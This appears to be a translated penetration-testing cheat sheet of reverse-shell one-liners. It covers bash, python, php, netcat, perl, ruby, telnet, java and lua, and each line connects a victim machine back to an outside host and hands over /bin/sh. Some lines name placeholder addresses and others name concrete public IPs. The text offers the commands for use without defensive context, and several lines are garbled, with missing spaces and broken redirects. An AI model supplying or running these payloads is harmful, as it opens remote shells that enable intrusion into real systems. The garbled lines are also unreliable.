Penetration in the rebound shell port
bash Version:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Note that this is done by parsing the shell bash, so it does not support certain cases
python version:
`python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
php version:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
nc version:
nc -e /bin/sh 223.8.200.234 1234
nc not use -e:
mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
perl version:
perl-e'use
Socket;$i="10.0.0.1";$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};'
ruby version:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
mknod:
mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
java version:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
lua version:
lua-e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
